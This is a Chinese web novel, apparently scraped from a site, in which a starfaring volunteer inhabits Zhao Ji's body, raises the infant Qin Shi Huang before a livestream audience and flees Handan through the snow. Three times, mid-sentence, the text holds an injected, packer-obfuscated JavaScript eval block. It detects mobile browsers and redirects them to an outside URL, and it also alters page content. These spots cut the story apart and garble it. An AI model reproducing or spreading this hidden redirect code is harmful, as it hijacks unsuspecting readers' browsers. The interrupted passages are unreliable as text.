《穿成大秦赵姬,我在直播间养始皇崽》 1. 第 1 章 公元前259年,邯郸城,秦国质子府。 099睁开眼的第一秒,怀里就多了个婴儿,张着小嘴嚎哭,小脸红彤彤的,哭得像是全世界都欠他的。 099还没来得及反应,脑内就响起一个机械音:“文明救援计划志愿者099,传送完毕。” 099扫视一圈,土坯墙,茅草顶,油灯冒着黑烟。然后她低头,盯着那张哭到变形的脸,怀里这团东西,正在用吃奶的力气嚎。 “系统,”她开口,“你最好告诉我,这是个玩笑。” 【姓名:嬴政。】 “……哪个嬴政?” 【统一六国那个。】 099沉默了,她再次低头,婴儿哭出了鼻涕泡。 “……就这?” 下一秒,弹幕涌入。 半透明的界面在眼前展开:【星际直播间·文明救援频道·已连接】 【???主播你抱着个啥?】 【画面好糊,这是哪儿?】 【等等左下角那个名字,嬴政???】 【秦始皇?????】 099面无表情:“我也想知道这是哪儿。” 她举起怀里的婴儿,对准虚空:“任务目标,这个。你们谁认识?” 直播间安静了0.5秒,然后喧哗起来了: 【你绑定了秦始皇???】 【主播你认真的???】 【不是,秦始皇小时候长这样???】 【战国服饰研究所-老张】:“等等,主播你怀里的襁褓布料是葛麻混纺,邯郸本地产,这个细节对的。” 099没理弹幕,婴儿还在哭。她回忆了一下星际幼崽安抚手势,托后颈,有节奏拍背,那是给虫族幼崽用的。 她拍了,婴儿不哭了。 【???那个手势我见过,是星际军事学院的战术手势!!!】 【给婴儿用???】 【等等他真不哭了???】 【躺平局局长】:“养什么秦始皇,邯郸城破前找个山沟种田不香吗?” 099刚要说什么,门被推开了。进来的男人看到她拎着婴儿后颈的姿势,脸色瞬间变了,他冲过来,一把夺过孩子。 那个动作太快了,快到099看见他的手在抖。他把婴儿小心护进怀里,那姿势熟练得让人心口一紧,显然不是第一次做了。 他的袖口,被婴儿的手攥过的地方,布料皱成一团,那是今天抱嬴政时留下的。 “赵姬,你怎可如此对待政儿?” 099的大脑飞速运转,赵姬,嬴政的母亲,眼前这个男人,应该是嬴异人。 嬴异人正怒视她:“政儿才三月大,你拎他后颈,会伤到他。” 她张了张嘴,想说星际幼崽都这么拎的,话到嘴边咽了回去,她低头看了看自己的手,确实,刚才那个姿势,不太对。 “……我忘了。” 嬴异人一怔,他盯着099看了半晌,眼神从愤怒渐渐变成疑惑:“你怎么了?自打生下政儿,你便时常魂不守舍。” 她抬起头,看向嬴异人:“我没事,就是,累了。” 嬴异人又看了她一眼,叹了口气。他把婴儿放回炕上,仔细掖好被角,然后转头对着099说:“你歇着吧,吕不韦那边还有事,我去去就回。” 说完,他走了。 099等门关上,立刻爬起来,她要搞清楚这个时代。 没有纸、没有电、照明靠油灯,那玩意儿冒黑烟,她刚才闻到的就是这个味儿。书写靠竹简,一小捆几十斤。 越翻越绝望。 【主播你在翻什么?直接问弹幕啊。】 【对,我养过娃。】 099坐在地上,面前摊着几片竹简。她面无表情地打开系统备忘录,敲下一行字: 【远古人类生存环境评估:极端恶劣。无电力、无清洁水源、无医疗体系、无婴幼儿营养品。幼崽抚养难度:SSS级。】 她顿了顿,又加了一句:【任务初始难度判定:建议放弃。】 【别放弃啊!!!这可是秦始皇!!!】 【主播你养大了秦始皇,文明救援任务直接通关。】 木床上的小嬴政又哭了。 099走过去,尿布湿透了,她盯着那块尿布看了片刻,竹片裹麻布,里面垫着干草。她转头,对着直播间:“远古人类用这个兜尿?” 【草,笑死我了。】 【主播的表情。】 【战国那会儿用尿布还是沙土啊?】 【尿布,听我的,用布。】 099默默把湿草扔了,找了块相对干净的麻布,按弹幕指导叠成方块,垫到婴儿身下。她盯着那块布,又看了看灶台边的草木灰,弹幕说草木灰能吸湿。 她面无表情地打开备忘录,敲字:“远古卫生措施:植物燃烧残留物。污染指数:高。建议:寻找高岭土矿脉,烧制颗粒状吸附材料。” 弹幕瞬间沸腾: 【???主播你要为了秦始皇发明纸尿裤???】 【基建狂魔的DNA动了!!!】 【第一步:统一六国。第二步:造纸尿裤。第三步:征服星际。】 【所以,统一六国,从统一屁垫开始?】 嬴政不哭了,他睁着黑亮的眼睛,盯着099看。 099也盯着他,一人一婴,四目相对。 嬴政忽然咧嘴,露出没牙的牙龈。 【他笑了!!!天啊鲁,秦始皇冲你笑!!!】 099面无表情:“他只是在做面部肌肉运动。” 她低头,备忘录上多了一行字:【更正:幼崽具备初级社会性互动能力,放弃评估……暂缓。】 【嘴硬,你嘴角明明翘了一下。】 门外传来脚步声,两个人的,很轻,像是不想被人发现。 099立刻贴到门边。 “……事不宜迟,明日亥时,东门。” “……赵姬母子目标太大,先行撤离,稍后接应。” “异人,当断则断。” 099的眼神微缩,她靠在门板上,怀里,嬴政睡得很沉,小嘴微张,呼出的热气打在她锁骨上。 她低头看他,这个婴儿,三个月大,爹要跑,娘靠不住,赵军随时会来。 她想起系统的任务说明:培养一个能改变文明进程的种子。 “行。”她站起来,开始翻箱倒柜,“你爹不管你。” 她翻出一只木匣,银饰、铜钱、玉佩,用布包好,塞进怀里。 “我管。” 【???主播你干嘛?】 【她说,我管。】 【呜呜呜,我哭了,我装的。】 她走回炕边,把嬴政连被子一起抱起来,婴儿动了动,没有醒,脸贴着她的胸口,呼吸均匀。 就在这时,嬴政忽然睁开了眼睛,不是慢慢醒来的那种睁眼,是慢慢地睁开,眼神有点不像是婴儿,黑亮的瞳孔,直直盯着099的脸。 099顿住,婴儿没有哭,没有哼唧,他就那样看着她,看了好一会儿,然后他松开了衣角,不对,他之前攥着吗? 099低头,那只小手,不知什么时候,攥住了她的衣角,攥得很紧,五个小手指头,扣进布纹里,像是怕她消失。 然后他松开了,偏过头,闭上眼睛,继续睡了。 【……】 【他刚才是在确认什么吗?】 【三个月的婴儿???】 【历史异动观测员】:“检测到因果链波动,幅度0.03%,继续观察。” 099盯着嬴政看了看,她在备忘录里敲下一行字: 【观察记录:幼崽疑似能区分“两个母亲”。年龄:3个月。评估:异常。】 【备注:他刚才看我的眼神,和看嬴异人不一样。】 她把嬴政的被角掖好。 窗外的天,快亮了。 远处,吕不韦的马车停在巷口。 嬴异人下车,最后一次回头,看向那扇紧闭的门。他的手,无意识地摸了一下袖口。那个被政儿攥过的地方,布料还是皱的。他的手指收紧。 “公子。”吕不韦在车里催促,声音低沉。 嬴异人眼神一硬,他松开袖口,转身上车,马车帘子落下,遮住了他的脸。 他没有回去。 099在意识深处,把系统地图上的逃亡路线,又检查了一遍。 明天天黑之前,她带他走。 …… 赵姬睁开眼,觉得哪里不对,她说不上来。身体还是那个身体,疲惫、酸软,像被什么东西碾过。 她撑着坐起来,看向炕上。嬴政还在睡,小脸红扑扑的,嘴角干干净净,呼吸均匀。 赵姬怔了一下,昨晚,政儿不是饿得直哭吗?她记得自己太累了,没起来喂,就睡着了。 那谁喂的他? 她皱眉,伸手摸了摸嬴政的脸,不烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459160|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有发烧。但她的手,在发抖。 赵姬盯着自己的手看了看,这是她的手,指甲缝里有泥,指腹有薄茧,是弹琴磨出来的。但昨晚,这双手做了她没做过的事。 她不知道它们是怎么拿起陶罐的,怎么生火的,怎么把米糊一口一口喂进政儿嘴里的。 她甚至不知道,那个“东西”喂政儿的时候,是用什么表情看着他的。 是像她一样,不耐烦地塞进去?还是很温柔? 她慢慢转头,看向灶台,灶台是冷的,陶罐里什么都没有,但她的鼻子里,闻到一股糊味。 就像有人来过,做了饭,擦了锅,开了窗,散了味,然后走了。 赵姬的手抖得更厉害了,她回头看向炕上的嬴政,婴儿睡得很香,嘴角干干净净。 但干干净净,才是问题,因为她昨晚,没有喂他。 赵姬抓紧了被角:“谁……喂的你?” 炕边,一块叠得方方正正的麻布上,压着一片布帛。 赵姬打开布帛,四个字:政儿,勿弃。她的手开始发抖,不是害怕,是因为那四个字,写得那么用力,炭笔都断了一截。 那个东西,写下这四个字的时候,是什么心情? 是怕她真的扔了政儿吗? 赵姬忽然想哭,从来没有人,用这种笔迹,给她写过字。嬴异人没有,任何人没有。 一个占据她身体的“东西”,在教她,不要抛弃自己的孩子。 赵姬把布帛翻过来,背面还有一行小字:“米糊在陶罐里,热了再喂。” 赵姬猛地转头看向灶台,陶罐在灶台上,盖子盖着。她走过去,打开,米糊,半罐,温的,刚做好不久。 赵姬端着陶罐,站在灶台前,很久没有动。她攥着那块布帛,忽然对着空荡荡的屋子,极轻地说了一句:】 “你……明天还来吗?” 没有人回答。但那股米糊的香气,还在。 窗外,邯郸城的晨钟响了。 赵姬端着陶罐,走到门边。她没有开门,而是从门缝往外看。 吕不韦的马车,已经不在了。 她的眼神变了,那里面有恐惧,但恐惧底下,慢慢浮上来的,是一种被扔下过太多次的人,才会有的,冰冷的清醒。 “异人走了,吕不韦也走了。”她的声音很轻,“我和政儿,是被留下的饵。” 她低头,看着手里的陶罐,米糊还温着。 那个“东西”留下米糊,留下字条。那个“东西”在告诉她:饵,也得活着,才能被吃。 赵姬把陶罐放在炕边,蹲下来,看着嬴政。婴儿还在睡,浑然不知。 她伸出手,用拇指轻轻擦掉嬴政嘴角那点米糊,然后她蹲下来,把脸埋进被子里。 肩膀在抖,但她没有哭出声。炕上的嬴政,忽然翻了个身,他的小手,从被子里伸出来,攥住了赵姬的衣角。 赵姬愣住,她低头看着那只小手,很小,很软,五个小手指头,攥得很紧。和以前不一样,以前他抓不住,现在,他不撒手。 赵姬的眼眶,彻底红了,她把那只小手握在掌心里。 很轻地,握了一下回应嬴政。 她的另一只手,还攥着那块布帛。四个字,对着她的掌心:政儿,勿弃。 她忽然笑了一下,眼泪掉下来。 “……好。”她说,是对嬴政说的,还是对那个“东西”说的,她自己也分不清。 窗外,吕不韦的马车早已消失在巷口。 嬴异人最后一次回头的时候,没有回去。他不知道,那扇门里面,一个母亲,正抱着他的儿子,无声地哭。 而另一个“母亲”,正在意识深处,规划着一条逃亡路线。 他也不知道,那个他决定放弃的女人,此刻攥着米糊罐子的手指,正在一点一点收紧。 099在意识深处把逃亡路线又检查了一遍。她不知道,赵姬正在哭。 她不知道,赵姬对着空屋子问了一句“你明天还来吗”。也不知道,赵姬看懂了吕不韦的棋局。 她们都不知道,嬴政的手,攥过两个人的衣角。 她们更不知道,那扇门外面,邯郸城的晨钟,一下,一下,敲了六下。 很多年以后,当咸阳宫的铜钟敲响六下的时候,有人会想起这个早晨。 系统备忘录,自动弹出一行字: 【文明救援任务,正式激活。初始进度:0.0001%。】 【建议:别死。】 2. 第 2 章 嬴异人走的那天,邯郸下了第一场雪。 赵姬抱着嬴政,站在门口,看着那个男人穿上披风,头也不回地走进风雪里。 “稍后接应你。”他昨晚是这么说的。 赵姬当时信了,现在看着那个消失在街角的背影,她觉得自己蠢。 稍后?稍后是多久?一天?一月?一年? 她低头看向怀里的嬴政。婴儿裹在襁褓里,只露出一张小脸。正睡着,什么都不知道。 但赵姬注意到一个细节,嬴政的手,攥着她的衣。不是以前那种松松的抓,是紧紧的。 就像他知道父亲要走。 赵姬心里一紧,她转身回屋,关上门。她把嬴政放在炕上,坐到旁边,发呆。 窗外雪越下越大。 她的嫁妆,不,她不算有嫁妆。她是歌姬出身,能被嬴异人看上,已经是高攀。那些首饰、衣物,都是嬴异人给的。嬴异人走了,这些东西还能留多久? 赵姬开始盘算。首饰能当几件,衣物能换些钱。但能撑多久?三个月?半年? 然后呢? 她看向嬴政,婴儿在睡梦中皱了皱眉,像是不舒服。赵姬伸手摸了摸他的脸,还有些烫。 她缩回手,靠在墙上。脑子里有一个念头,慢慢爬出来。 如果没有这个孩子…… 她甩甩头,把这个念头压下去。 但她压不住另一个念头,昨晚布帛上的那四个字,“政儿,勿弃”。那个字迹,横平竖直,那个东西,比她这个亲娘,做得还好。 赵姬闭上眼睛。 “你到底是什么?”她低声问。 窗外的雪,越下越大。 是夜,赵姬又“睡着”了。 099上线,她做的第一件事,是查看嬴政。一摸额头,烫,比昨晚还烫。 扫描完成:体温38.9℃,轻度脱水,需物理降温。 099皱眉,她打来温水,开始给嬴政擦身。 嬴政不舒服,哭了几声,声音沙哑,像是嗓子哭哑了。 099没说话,手上的动作不停,擦到第三遍的时候,嬴政的哭声小了。他靠在099怀里,眼睛半睁着,看着她的脸。 099低头:“你爹跑了。” 嬴政眨了眨眼。 “你娘也想扔了你。” 嬴政没反应。 “但我还在。” 嬴政的小手,又攥住了她的衣角,和白天攥赵姬的方式不一样。 白天他攥赵姬,是紧紧地、生怕被丢下的那种攥。 但现在他攥099,是轻轻地、确认她还在的那种。 099低头看着那只小手。 她沉默了一会儿:“所以你别死。” 说完这句话,她继续擦。 窗外的雪,下了一整夜。 天快亮的时候,嬴政退烧了。 099把他放回炕上,盖好被子。她站在窗边,看着外面的雪。赵姬的身体数据在跳动,还有不到半个时辰会醒。 她正打算交接,忽然听到门外有动静,不是脚步声,是,撬门声。 099眼神一缩。她贴到门边,从门缝往外看。两个黑影,穿着赵军的甲胄,正在撬隔壁的门。 搜捕。 秦质子家眷的搜捕,开始了。 099退回炕边,快速把嬴政用布带绑在胸前。然后她翻出昨天藏好的包袱,银饰、铜钱、玉佩,塞进怀里。 她看了一眼窗外,雪停了,但风很大。 “不等明天了,”她对直播间说,“今晚就走。” 她推开后窗,翻了出去,雪地里,她猫着腰,沿着墙根往东走。 系统地图上,标记着最近的城门,东门,距离1.2公里。守卫换班时间:卯时三刻,还有半个时辰。 她要赶在那之前出城。 弹幕: 【主播你疯了???】 【带着三个月婴儿雪夜跑路???】 【但再不走就来不及了。】 099没理弹幕,她走得很快,但很轻。星际野外生存手册第一条:脚印要浅,重心要稳,不要踩断枯枝。 胸前的嬴政,贴着她的心跳,一动不动。 他没有哭,从始至终,没有哭。 099低头看了他一眼。婴儿睁着眼睛,黑亮的瞳孔映着雪光,安静地看着她。 “你不怕?”099低声问。 嬴政眨了眨眼。 099没再说话,继续走。 东门在望的时候,099停住了。 城门口有火把,至少六个守卫。比白天多了一倍。 她在系统地图上标记了每一个热源的位置,然后沿着城墙根往南走,南门,距离2.3公里,守卫数量未知。 但她没得选,雪地上,她留下了一串脚印。 风很大,雪还在下,脚印很快被覆盖。 但099知道,天亮之后,赵军会发现。 她必须在天亮之前,找到一个藏身之处。 天快亮的时候,099找到了一处破庙。 说是庙,其实就是几堵快塌的墙,顶上有半片屋檐。但能挡风,能遮雪,最重要的是,系统扫描显示,半径两公里内,没有热源。 没有追兵。 099靠在墙上,大口喘气。她把嬴政从胸前解下来,抱在怀里。婴儿的脸冻得发青,但眼睛还是睁着,看着她。 099伸手探了探他的体温,偏低,但没有失温。 她脱下外衣,裹在嬴政身上,然后开始生火。 系统数据库里有“远古人类野外生存指南”,她之前下载的。找干柴、打火石、引火绒,一步一步来。 火升起来的时候,嬴政的脸色好了一些。 099抱着他,坐在火边。她低头,看着怀里的婴儿。 嬴政的小手,从襁褓里伸出来,摸上了她的脸。小小的手指,从她的眉心,滑到鼻梁,再到嘴唇。像是在描摹她的轮廓。 099没动。 嬴政摸完了,把手缩回去,攥住了她的衣领。然后他笑了。没有声音,但嘴角翘起来,露出粉色的牙龈。 099盯着那个笑看了两秒。她的系统后台,有一行数据在跳动: 【情感波动值:+1.8%】 她没注意到,她只是把嬴政抱紧了一点。 “睡吧,”她低声说,“天亮之前,我守着。” 嬴政闭上眼睛,小手还攥着她的衣领。 火光照在两个人身上。 窗外的雪,还在下。 天亮了。赵姬睁开眼,发现自己在一座破庙里。 面前有火堆,已经灭了,但有余温。身上披着一件外衣,不是她的,是……她低头看,是她自己的。她昨晚明明脱了裹在政儿身上,怎么又回来了? 她看向嬴政,婴儿睡在她怀里,小脸红扑扑的,呼吸均匀。 赵姬愣了一会儿。然后她站起来,把外衣穿好,抱着嬴政,走出破庙。 雪停了,远处的山,白茫茫一片。 她不知道该往哪走,但她得走。走了不到半个时辰,身后传来马蹄声。 赵姬回头,一队赵军,正朝她的方向来,她的心猛地一沉。 跑。 她抱着嬴政,往路边的林子里跑。雪很深,一脚踩下去,没到小腿。她跑不快,身后的马蹄声越来越近。 赵姬看到前面有一口枯井,她想都没想,抱着嬴政,跳了进去。 井不深,赵姬摔在井底,脚踝一阵剧痛。她咬着牙,没出声。怀里的嬴政被震醒了,张嘴要哭。 赵姬一把捂住他的嘴。婴儿的眼睛瞪得大大的,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459161|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的脸。 赵姬的手在抖。 马蹄声从井口上方经过。 “这边,那个娘们往这边跑了。” “搜!” 赵姬屏住呼吸,她的手还捂着嬴政的嘴,婴儿没有挣扎。他就那样看着她,像是在说:我不哭,你别怕。 马蹄声渐远。 赵姬等了很久,才松开手。 嬴政没有哭,他睁着黑亮的眼睛,看着她。 赵姬低头,看着他。 井底很暗,只有头顶一小圈光。雪从井口飘下来,落在她脸上,凉凉的。 她忽然想哭,但她不敢哭。 她抱着嬴政,靠在井壁上,闭上眼睛。 “政儿,”她哑着嗓子说,“娘在。” 怀里的婴儿,小手攥住了她的衣角。 赵姬低头,那只小手,攥得很紧。 和以前不一样,以前他抓不住,现在,他不撒手。 赵姬的眼眶,彻底红了。她把脸贴在婴儿的额头上。 很轻地,贴了一下:“对不起。” 她说: “娘以前……” 她没有说完,但她把嬴政抱得更紧了。 入夜,099醒来,她发现自己在一口井里。 赵姬的记忆同步过来:赵军搜捕,跳井,躲过一劫。脚踝扭伤了,出不去。 099低头看向怀里的嬴政。婴儿醒着,正看着她。那双眼睛,在黑夜里,很亮。 099没说话,她打开系统扫描,寻找出路。 【扫描完成:井深3.2米,井壁有凹陷可供攀爬。半径1公里内无追兵。】 她站起来,把嬴政用布带绑在胸前,开始攀爬。井壁很滑,她踩了好几次空,手指磨破了皮,但她没停。 嬴政贴在她胸口,一动不动。 099爬出井口的时候,天已经快亮了。她跪在雪地里,大口喘气。胸前的嬴政,伸出小手,摸了摸她的脸。 099低头。婴儿的眼睛,倒映着黎明的光。 她沉默了一会儿,然后站起来,继续走。 天亮之后,赵姬睁开眼,发现自己不在井里。她在一条小路上。脚踝不疼了,怀里的嬴政,睡得很香。 赵姬失神了很久,她低头看着嬴政,比昨天精神多了。 她想起一件事:她昨晚,明明没有“睡着”。不,她“睡着”了。 是“那个东西”。 那个东西,又出来了。 而且,带她爬出了井。 赵姬抱紧了嬴政的襁褓,她不知道该害怕,还是该庆幸。 但她知道一件事,如果没有“那个东西”,她和政儿,已经死了。 赵姬深吸一口气,她站起来,抱着嬴政,继续走。 雪地上,留下一串脚印,延伸向远方。 是夜,099背着嬴政,在山谷里停下来。 说是山谷,其实就是两座小山包之间的凹地。有一小片树林,有一条冻住的小溪,还有,几座坟。 赵姬的意识白天会回来。099在交接之前,把嬴政放在一处背风的岩石后面,用枯草和树叶盖好。 但今晚,赵姬没有“睡着”。 不,她“睡着”了。但她的意识,没有完全下线。 她感觉到了,她感觉到“那个东西”又出来了。她感觉到“自己”站起来,走到坟地边上。 她感觉到风、雪、还有,蓝火。坟头上,飘着蓝幽幽的火。 磷火。 赵姬的意识在身体里尖叫:那是鬼,别过去。 但“那个东西”没有停。 099抱着嬴政,走到坟地边上。磷火在夜风里飘摇,忽明忽暗。 赵姬的身体在发抖,那是残留的恐惧。 但099的手很稳,她指着那团蓝火,开口:“那不是鬼。” 3. 第 3 章 099解释:“那叫磷火。化学名叫磷化氢。人死了,骨头埋在地下,骨头里有磷。磷会变成气体,从土里冒出来。这种气体的燃点很低,低到什么程度呢?夏天你在地上坐一会儿,屁股底下的温度就能把它点着。” 【屁股底下的温度。】 【哈哈哈哈,主播你好好讲课不行吗?】 099没理弹幕,继续说:“现在是冬天,磷火少见。但这片坟地下面有温泉地热,温度够高。所以它不是鬼,是化学。” 赵姬的意识在身体里,听到了这些话。 她听不懂,什么“磷化氢”,什么“化学”。 但她听懂了一件事,“那个东西”说,那不是鬼。 赵姬的恐惧,忽然少了一点。不是因为相信,而是因为,“那个东西”的语气。 太平静了,就像是在讲一个道理。 赵姬从来不知道,鬼火还可以这样解释。 她的意识,慢慢安静下来。 怀里的嬴政,忽然张了张嘴:“啊……” 099低头,婴儿的眼睛,黑亮黑亮的,映着远处的蓝火。 他又张嘴:“啊……啊……” 这次更清楚了。 099愣住。 直播间也愣住。 【他说话了???】 【三个月的婴儿会说话???】 【不是说话,是发声吧?】 099盯着嬴政,数据流一阵波动。 【情感波动值:+2.1%】 她面无表情地把嬴政抱紧了一点,声音放低:“对,磷火。” 嬴政没再出声,但他的小手,指着远处的蓝火,攥了攥拳头。 赵姬的意识,在身体里,也看到了这一幕。她看到“那个东西”抱着政儿,站在坟地边上。 她看到政儿指着鬼火,发出“啊”的声音。 她看到“那个东西”低头,对政儿说“对,磷火”。 赵姬忽然觉得,眼眶很热,不是因为害怕。 是因为,她从来没有这样抱过政儿。 从来没有这样,指着什么东西,教他。 她以为婴儿什么都不懂,吃了睡,睡了吃。 但政儿懂了,他指着鬼火,发出了声音,他在学。 而教他的,不是她,是“那个东西”。 赵姬的意识,在身体深处,缩成一团。 她不知道自己在想什么,但她知道,她在嫉妒。嫉妒一个,住在她身体里的“东西”。 099抱着嬴政,坐在坟地边上。 远处的磷火在风里飘摇,怀里的婴儿睁着眼睛看着那团光。 她觉得,这个画面,挺好看的。然后她开口,声音很轻: “等你长大了,会看到很多东西。有人会跟你说,这是天意,那是鬼神,这是命,那是运。” 她顿了顿:“别信。” “都是化学,物理,生物。” “能解释的,叫科学。不能解释的,等科学进步了再解释。” 【主播你在给三个月大的婴儿上课???】 【但她说得对。】 【秦始皇:我三个月就学完了自然科学。】 怀里的嬴政,打了个小哈欠。 099低头看他,婴儿已经闭上眼睛,睡了。嘴角,还挂着一丝不知道是米糊还是口水的东西。 099用袖子轻轻擦掉。然后她看向远处的磷火,声音更轻了: “晚安,政儿。” “明天继续赶路。” 【呜呜呜。】 【主播你真好。】 【这个崽,你一定要养大。】 099抱着嬴政,在坟地边上坐了很久。火灭了,风停了,雪也停了。 天快亮了,她站起来,把嬴政放回岩石后面,盖上枯草,然后她闭上眼睛。 赵姬,要醒了。 在交接的前一刻,099在备忘录里敲下最后一句话: 【观察记录更新:幼崽今晚发出有意义的音节,指向磷火。年龄:3个月。评估:语言能力超前。】 【备注:他确实能区分“两个母亲”。今晚赵姬的意识没有完全下线,她的情绪反馈显示:恐惧→好奇→嫉妒。】 【建议:加快撤离速度。赵军的搜捕范围正在扩大。】 她关掉备忘录:“明天见,政儿。” 她“睡着”了。 赵姬睁开眼。 天亮了。她坐在岩石旁边,怀里抱着嬴政。坟地还在,但鬼火没了。 赵姬低头看着嬴政。婴儿还在睡,嘴角,挂着一点笑意。 赵姬伸出手,用拇指轻轻擦过他的嘴角。 “政儿,”她哑着嗓子说,“昨晚,她教你什么了?” 嬴政没有回答,他在睡梦中,小手攥了攥拳头。 赵姬把他抱紧,站起来。雪地上,她看到一行脚印,不是她的,是“那个东西”的。从岩石边,走到坟地,再走回来。脚印很深,像是站了很久。 赵姬顺着那行脚印,走到坟地边上。她蹲下来,看到雪地上,有一行小字。是炭笔写的:“磷火不是鬼。” 赵姬盯着那五个字,看了很久,然后她伸出手,把雪地上的字抹掉了。 不是因为她害怕,是因为,她不想让任何人看到。 这是“那个东西”留给她的,只留给她的。 赵姬站起来,抱着嬴政,走进风雪里。 她走了几步,忽然停下,然后,她回头了。 她看着那片坟地,看着雪地上被她抹掉的痕迹。 她开口,声音很轻,轻到只有怀里的婴儿能听见:“你还在吗?” 没有回答,但她感觉到了,她的手指,不受控制地,轻轻拍了一下嬴政的背。 那是“那个东西”哄孩子的姿势。 赵姬的眼眶微微泛红,她深吸一口气,转回头,继续走。 这一次,她没有再停。 她没有注意到,怀里的嬴政,睁开了眼睛。他看着赵姬身后那片雪地,那片被她抹掉字迹的雪地。 他的嘴唇动了动,没有声音,但那个口型,分明是两个字。 “磷火。” 然后他闭上眼睛,像是从未醒来。 弹幕: 【??????????】 【他说话了?????】 【不是说话,是口型!!!!】 【三个月的婴儿认字了?????】 【他只听了一遍!!!就记住了“磷火”两个字???】 【历史异动观测员】:“因果链波动幅度:0.07%。评估:持续上升。建议总部关注。” 【躺平局局长】:“……我突然不想躺了,这个婴儿有点吓人。” 【战国服饰研究所-老张】:“纠正,三个月婴儿不可能有意识发音。除非……” 【除非什么你倒是说啊!!!】 【除非他不是普通婴儿?废话,这是秦始皇!!!】 099在意识深处,看着赵姬走进风雪。 系统弹出一行提示:【情感波动值:+5.3%】 099盯着那个数字:“能关了吗?” 【不建议关闭,情感波动值将影响任务评定。】 099沉默了一会儿,然后她说:“那就别告诉我。” 【?】 “涨了多少,别让我知道。”她顿了顿:“我怕我知道了,就不敢继续了。” 系统没有再提示。 但另一行数据,在099没注意到的角落,闪了一下: 【观察对象:嬴政】 【异常行为记录:口型复现“磷火”。】 【评估:超前发育。认知能力超出同期人类幼崽标准差上限。】 【建议:持续观察。】 【备注:该对象可能具备记忆留存能力。】 【警告:此异常若持续发展,将触发《文明救援计划》第37条,干预对象自我意识觉醒预案。】 这行数据,099没有看到。因为那一刻,她的注意力,被另一件事吸引了。系统地图上,三十里外,出现了三十个红点,正在向西移动。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459162|201265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【速度:骑兵。】 【方向:正对赵姬的前进路线。】 【预计接触时间:28分钟后。】 099闭上眼睛,雪地上,赵姬抱着嬴政,一步一步,往西走。她不知道,二十八分钟后,追兵会到。 099知道,但她没有叫醒赵姬,叫醒也没用。一个扭伤脚踝的女人,抱着三个月的婴儿,跑不过骑兵。】 099在意识深处,打开了系统武器库。武器库是灰的。文明救援计划,志愿者不得携带攻击性武器。 099关掉武器库,打开了另一个界面。 【环境改造申请。】 她盯着那个界面,看了下,然后她输入了一行字:“申请权限:局部地形干预。理由:保护干预对象生命安全。” 【系统回复:权限不足。需总站审批。审批时间:72小时。】 099沉默,二十八分钟,七十二小时。 她关掉所有界面,然后她做了最后一件事,她在备忘录里,敲下一行字:“政儿,如果我明天没有上线——”】 她停住了,光标闪了三下。 099删掉了这行字,重新写:“明天见。” 三十里外,赵军校尉勒住马,低头看着雪地上的脚印。 脚印很浅,像是故意踩的。而且每隔一段,就有一个停顿。停顿的地方,雪被压实了一小片。 那是抱着孩子换手的痕迹。 校尉眯起眼睛:“是个行家。” 他抬手,身后三十骑同时勒缰。 “脚印往西。秦国方向。” 他调转马头:“追。” 雪又开始下了。 脚印,还剩不到半个时辰就会被覆盖。 去往咸阳的路途上之外,吕不韦看着手里的竹简。竹简上只有一行字,是邯郸送出来的:“异人已出城,赵姬母子,失联。” 吕不韦把竹简卷起来,塞进袖中,暂不作声。 。。。。。。 十一个月后,公元前258年,春。 099背着嬴政,走了将近一年。 从暮春走到盛夏,从盛夏走进深秋,又从深秋走进寒冬,最后从寒冬走到了又一个春天。 没有路标,没有人家。只有烈日、暴雨、泥泞、风雪、和化冻后露出的一点绿意。 嬴政从一个只会哭的三个月婴儿,长成了一个能扶着她的肩膀站起来的幼儿。 一岁多,已经会走了,会叫“阿娘”,会指着天上的星星问“那是什么”。 嬴政的眼睛还是那么黑,那么亮,但他不哭了,从离开邯郸的那天起,他就再也没有在“晚上阿娘”面前哭过。 像是知道,哭会浪费她的体力,这个孩子,在用他的方式,保护她。 系统地图上,邯郸城的标记越来越远。 这天傍晚,099找到一处废弃的炭窑,抱着嬴政钻了进去,窑洞很小,但能挡风。 初春的风还带着寒意。她生了一小堆火,把嬴政从背上解下来。 幼儿的脸被风吹得发红,但眼睛还是睁着,看着她。 099伸手探了探他的体温,正常。她还是把外衣脱下来裹住他。外衣脱下来的瞬间,寒风袭来。她没抖。她只是把嬴政抱得更紧了。 “再走几天,”她低声说,“就能遇到人了。” 嬴政眨了眨眼,他的小手抓住了她的衣领,那只手比去年大了些,但还是很软。 他抓得很紧。 【主播,你确定前面有人?】 【系统扫描显示,东南方向15公里,有大量热源。】 【是流民?还是军队?】 【不确定。】 099没回答,她靠着窑壁,闭上眼睛,能量剩余:61%。还能撑。 第四天清晨,099被系统的警报声吵醒。 【警告:前方5公里处检测到大量移动热源,数量约200,移动方向:西南。】 